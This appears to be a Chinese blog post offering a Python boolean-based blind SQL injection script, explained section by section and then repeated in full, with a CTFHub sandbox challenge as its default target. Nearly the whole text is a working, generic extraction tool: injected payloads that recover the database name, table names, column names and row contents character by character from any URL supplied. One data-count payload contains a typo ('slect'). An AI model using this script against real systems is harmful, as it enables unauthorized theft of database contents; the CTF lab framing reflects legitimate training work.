Python-Boolean盲注脚本(附带注释,总脚本在结尾)

13 篇文章 0 订阅
10 篇文章 1 订阅

靶场:CTFHub

设置重新连接,默认的情况下keep-alive为True

# -*- coding: UTF-8 -*-

import requests
import optparse  # 实现为脚本传递命令参数
import time

DBName = ""  # 数据库名的变量
DBTables = []
DBColumns = []
DBData = {}

flag = "query_success"  # 判断盲注Ture回显的特定内容
r1 = int(input('设置重连次数,一般为5按情况自行调整,连接活跃默认设置为False:'))
requests.adapters.DEFAULT_RETRIES = r1
conn = requests.session()
conn.keep_alive = False  # 设置重连次数(自行调整),连接活跃状态为False

跑数据库函数

def GetDBName(url):
    global DBName
    '''
    数据库名的长度
    '''
    print('[-]开始获取数据库名的长度')
    DBNameLen = 0  # 初始长度为0
    payload = "1 and if(length(database())={0},1,0)#"
    targetUrl = url + payload  # 调用函数后传递的url与payload拼接,下发targetUrl为最终请求url
    for DBNameLen in range(1,99):
        res = conn.get(targetUrl.format(DBNameLen))  # 实例化猜解;遍历从1到98;然后将遍历的数带入payload
        # if in判断返回,中文乱码pycharm编译器里编码设置成 -*- coding: UTF-8 -*-解决
        if flag in res.content.decode("utf-8"):
            print("[+]数据库长度:"+ str(DBNameLen))
            break
    '''
    数据库名
    '''
    print("[-]开始获取数据库名")
    payload = "1 and if(ascii(substr(database(),{0},1))={1},1,0)"
    targetUrl = url + payload
    # 遍历a,b于targetUrl,range从1,1开始
    for a in range(1,DBNameLen+1):
        for b in range(33,127):  # asc码33,126+1
            res = conn.get(targetUrl.format(a, b))
            if flag in res.content.decode("utf-8"):
                #自增,chr()会在range内的(就是0~255)整数作参数,返回一个对应的字符
                DBName += chr(b)
                print("[-]"+ DBName)
                break

表函数

def GetDBTables(url, dbname):
    global DBTables
    '''
    获取表的数量
    '''
    DBTableCount = 0  # 初始长度为0
    print("[-]开始获取{0}数据库表的数量".format(dbname))  # dbname=数据库
    payload = "1 and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0)"
    targetUrl = url + payload
    for DBTableCount in range(1, 99):  # 遍历获取数据库表的数量
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    '''
    获取表的长度
    '''
    tableLen = 0
    # a表示当前正在获取表的索引
    for a in range(0, DBTableCount):
        print("[-]正在获取第{0}个表名".format(a + 1))
        for tableLen in range(1,99):
            # 进入遍历,获取表名的长度,{0}可以用database()代替
            payload = "1 and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, a, tableLen))
            if flag in res.content.decode("utf-8"):
                break
        '''
        获取表名
        '''
        table = ""  # 获取表名
        # b表示当前表名猜解的位置
        for b in range(1, tableLen + 1):
            payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0)"
            #  select table_name from information_schema.tables where table_schema='sqli' limit 1, 1 表名
            #  substr(表名,1,1) = x #  第一个表名的第一个字符
            #  ascii(字符) = y
            targetUrl = url + payload
            for c in range(33, 127):
                res = conn.get(targetUrl.format(dbname, a, b, c))
                if flag in res.content.decode("utf-8"):
                    table += chr(c)
                    print(table)
                    break

        DBTables.append(table)  # 将获取的表名加入DBTables后清空
        table = ""

字段函数

def GetDBColumns(url, dbname, dbtable):  # 此处的dbname和dbtable将在主函数时被调用
    global DBColumns
    '''
    获取表内字段数数量
    '''
    DBColumnCount = 0  # 初始为0
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "1 and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0)"  # 字段数
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
    '''
    # 根据字段数量跑字段名称
    '''
    column = ""
    # a表示当前获取字段的索引
    for a in range(0, DBColumnCount):
        print("[-]正在获取第{0}个字段名".format(a+1))
        # 先获取字段的长度
        for columnLen in range(99):
            payload = "1 and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        for b in range(1,columnLen+1):
            payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema = '{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0)"
            targetUrl = url + payload
            # c表示在asc码中33~126位
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    column += chr(c)
                    print(column)
                    break
        DBColumns.append(column)
        # 清空colimn,用来获取下一个字段名
        column = ""

字段内容函数

def GetDBData(url,dbtable,dbcolumn):
    global DBData
    '''
    获取表内字段的数据数量
    '''
    DBDataCount = 0
    try:
        print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable,dbcolumn))
        for DBDataCount in range(99):
            payload = "1 and if((slect count({0}) from {1})={2},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
            if flag in res.content.decode("utf-8"):
                print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
                break
        for a in range(0,DBDataCount):
            print("[-]正在获取{0}的第{1}个数据".format(dbcolumn,a+1))
            # 先获取这个数据的长度
            dataLen = 0
            for dataLen in range(99):
                payload = "1 and if((select length({0}) from {1} limit {2},1)={3},1,0)"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
                if flag in res.content.decode("utf-8"):
                    print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
                    break
            # 临时存放数据的具体内容
            data = ""
            # b表示当前数据内容猜解的位置
            for b in range(1,dataLen+1):
                for c in range(33,127):
                    payload = "1 and if(ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0)"
                    targetUrl = url + payload
                    res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        data += chr(c)
                        print(data)
                        break
            DBData.setdefault(dbcolumn,[]).append(data)  # 当不存在dbcolumn时,增入[]
            print(DBData)
            # 清空
            data = ""
    except Exception as ganyu:
        print(f'完成;{dbcolumn}为最后一个字段内容;(如请求过快请再次请求)')

主函数

def StartSqli(url):  # 主函数
    GetDBName(url)  # 数据库函数,传入url
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)  # 表函数,传入url和数据库名
    print("[+]当前数据库{0}的表名如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看的表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])  # 字段函数,传入url、数据库名、表名
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看的字段的序号(输入0退出):")) - 1
        if columnIndex == -1:
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

当前脚本运行,实现为脚本传递命令参数,%prog是optparse定义的格式化字符串符号,表示本程序的文件名,可填可不填

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example:  python %prog -u http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=')
    # 目标URL参数-u # dest:存取该选项参数的变量名,default:选项参数的默认值
    parser.add_option('-u', '--url', dest='targetURL',default='http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=', type='string',help='target URL')
    (options, args) = parser.parse_args()
    StartSqli(options.targetURL)

总脚本

# -*- coding: UTF-8 -*-

import requests
import optparse  # 实现为脚本传递命令参数
import time

DBName = ""  # 数据库名的变量
DBTables = []
DBColumns = []
DBData = {}

flag = "query_success"  # 判断盲注Ture回显的特定内容
r1 = int(input('设置重连次数,一般为5按情况自行调整,连接活跃默认设置为False:'))
requests.adapters.DEFAULT_RETRIES = r1
conn = requests.session()
conn.keep_alive = False  # 设置重连次数(自行调整),连接活跃状态为False

# 数据库函数
def GetDBName(url):
    global DBName
    '''
    数据库名的长度
    '''
    print('[-]开始获取数据库名的长度')
    DBNameLen = 0  # 初始长度为0
    payload = "1 and if(length(database())={0},1,0)#"
    targetUrl = url + payload  # 调用函数后传递的url与payload拼接,下发targetUrl为最终请求url
    for DBNameLen in range(1,99):
        res = conn.get(targetUrl.format(DBNameLen))  # 实例化猜解;遍历从1到98;然后将遍历的数带入payload
        # if in判断返回,中文乱码pycharm编译器里编码设置成 -*- coding: UTF-8 -*-解决
        if flag in res.content.decode("utf-8"):
            print("[+]数据库长度:"+ str(DBNameLen))
            break
    '''
    数据库名
    '''
    print("[-]开始获取数据库名")
    payload = "1 and if(ascii(substr(database(),{0},1))={1},1,0)"
    targetUrl = url + payload
    # 遍历a,b于targetUrl,range从1,1开始
    for a in range(1,DBNameLen+1):
        for b in range(33,127):  # asc码33,126+1
            res = conn.get(targetUrl.format(a, b))
            if flag in res.content.decode("utf-8"):
                #自增,chr()会在range内的(就是0~255)整数作参数,返回一个对应的字符
                DBName += chr(b)
                print("[-]"+ DBName)
                break

# 表函数
def GetDBTables(url, dbname):
    global DBTables
    '''
    获取表的数量
    '''
    DBTableCount = 0  # 初始长度为0
    print("[-]开始获取{0}数据库表的数量".format(dbname))  # dbname=数据库
    payload = "1 and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0)"
    targetUrl = url + payload
    for DBTableCount in range(1, 99):  # 遍历获取数据库表的数量
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname, DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    '''
    获取表的长度
    '''
    tableLen = 0
    # a表示当前正在获取表的索引
    for a in range(0, DBTableCount):
        print("[-]正在获取第{0}个表名".format(a + 1))
        for tableLen in range(1,99):
            # 进入遍历,获取表名的长度,{0}可以用database()代替
            payload = "1 and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname, a, tableLen))
            if flag in res.content.decode("utf-8"):
                break
        '''
        获取表名
        '''
        table = ""  # 获取表名
        # b表示当前表名猜解的位置
        for b in range(1, tableLen + 1):
            payload = "1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0)"
            #  select table_name from information_schema.tables where table_schema='sqli' limit 1, 1 表名
            #  substr(表名,1,1) = x #  第一个表名的第一个字符
            #  ascii(字符) = y
            targetUrl = url + payload
            for c in range(33, 127):
                res = conn.get(targetUrl.format(dbname, a, b, c))
                if flag in res.content.decode("utf-8"):
                    table += chr(c)
                    print(table)
                    break

        DBTables.append(table)  # 将获取的表名加入DBTables后清空
        table = ""

# 字段函数
def GetDBColumns(url, dbname, dbtable):  # 此处的dbname和dbtable将在主函数时被调用
    global DBColumns
    '''
    获取表内字段数数量
    '''
    DBColumnCount = 0  # 初始为0
    print("[-]开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "1 and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0)"  # 字段数
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
    '''
    # 根据字段数量跑字段名称
    '''
    column = ""
    # a表示当前获取字段的索引
    for a in range(0, DBColumnCount):
        print("[-]正在获取第{0}个字段名".format(a+1))
        # 先获取字段的长度
        for columnLen in range(99):
            payload = "1 and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        for b in range(1,columnLen+1):
            payload = "1 and if(ascii(substr((select column_name from information_schema.columns where table_schema = '{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0)"
            targetUrl = url + payload
            # c表示在asc码中33~126位
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    column += chr(c)
                    print(column)
                    break
        DBColumns.append(column)
        # 清空colimn,用来获取下一个字段名
        column = ""

# 字段内容函数
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    '''
    获取表内字段的数据数量
    '''
    DBDataCount = 0
    try:
        print("[-]开始获取{0}表{1}字段的数据数量".format(dbtable,dbcolumn))
        for DBDataCount in range(99):
            payload = "1 and if((slect count({0}) from {1})={2},1,0)"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
            if flag in res.content.decode("utf-8"):
                print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
                break
        for a in range(0,DBDataCount):
            print("[-]正在获取{0}的第{1}个数据".format(dbcolumn,a+1))
            # 先获取这个数据的长度
            dataLen = 0
            for dataLen in range(99):
                payload = "1 and if((select length({0}) from {1} limit {2},1)={3},1,0)"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
                if flag in res.content.decode("utf-8"):
                    print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
                    break
            # 临时存放数据的具体内容
            data = ""
            # b表示当前数据内容猜解的位置
            for b in range(1,dataLen+1):
                for c in range(33,127):
                    payload = "1 and if(ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0)"
                    targetUrl = url + payload
                    res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        data += chr(c)
                        print(data)
                        break
            DBData.setdefault(dbcolumn,[]).append(data)  # 当不存在dbcolumn时,增入[]
            print(DBData)
            # 清空
            data = ""
    except Exception as ganyu:
        print(f'完成;{dbcolumn}为最后一个字段内容;(如请求过快请再次请求)')

# 主函数控制
def StartSqli(url):  # 主函数
    GetDBName(url)  # 数据库函数,传入url
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)  # 表函数,传入url和数据库名
    print("[+]当前数据库{0}的表名如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看的表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])  # 字段函数,传入url、数据库名、表名
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看的字段的序号(输入0退出):")) - 1
        if columnIndex == -1:
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

# 当前脚本运行,实现为脚本传递命令参数,%prog是optparse定义的格式化字符串符号,表示本程序的文件名,可填可不填
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example:  python %prog -u http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=')
    # 目标URL参数-u # dest:存取该选项参数的变量名,default:选项参数的默认值
    parser.add_option('-u', '--url', dest='targetURL',default='http://challenge-2f81434032b5d77c.sandbox.ctfhub.com:10800/?id=', type='string',help='target URL')
    (options, args) = parser.parse_args()
    StartSqli(options.targetURL)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值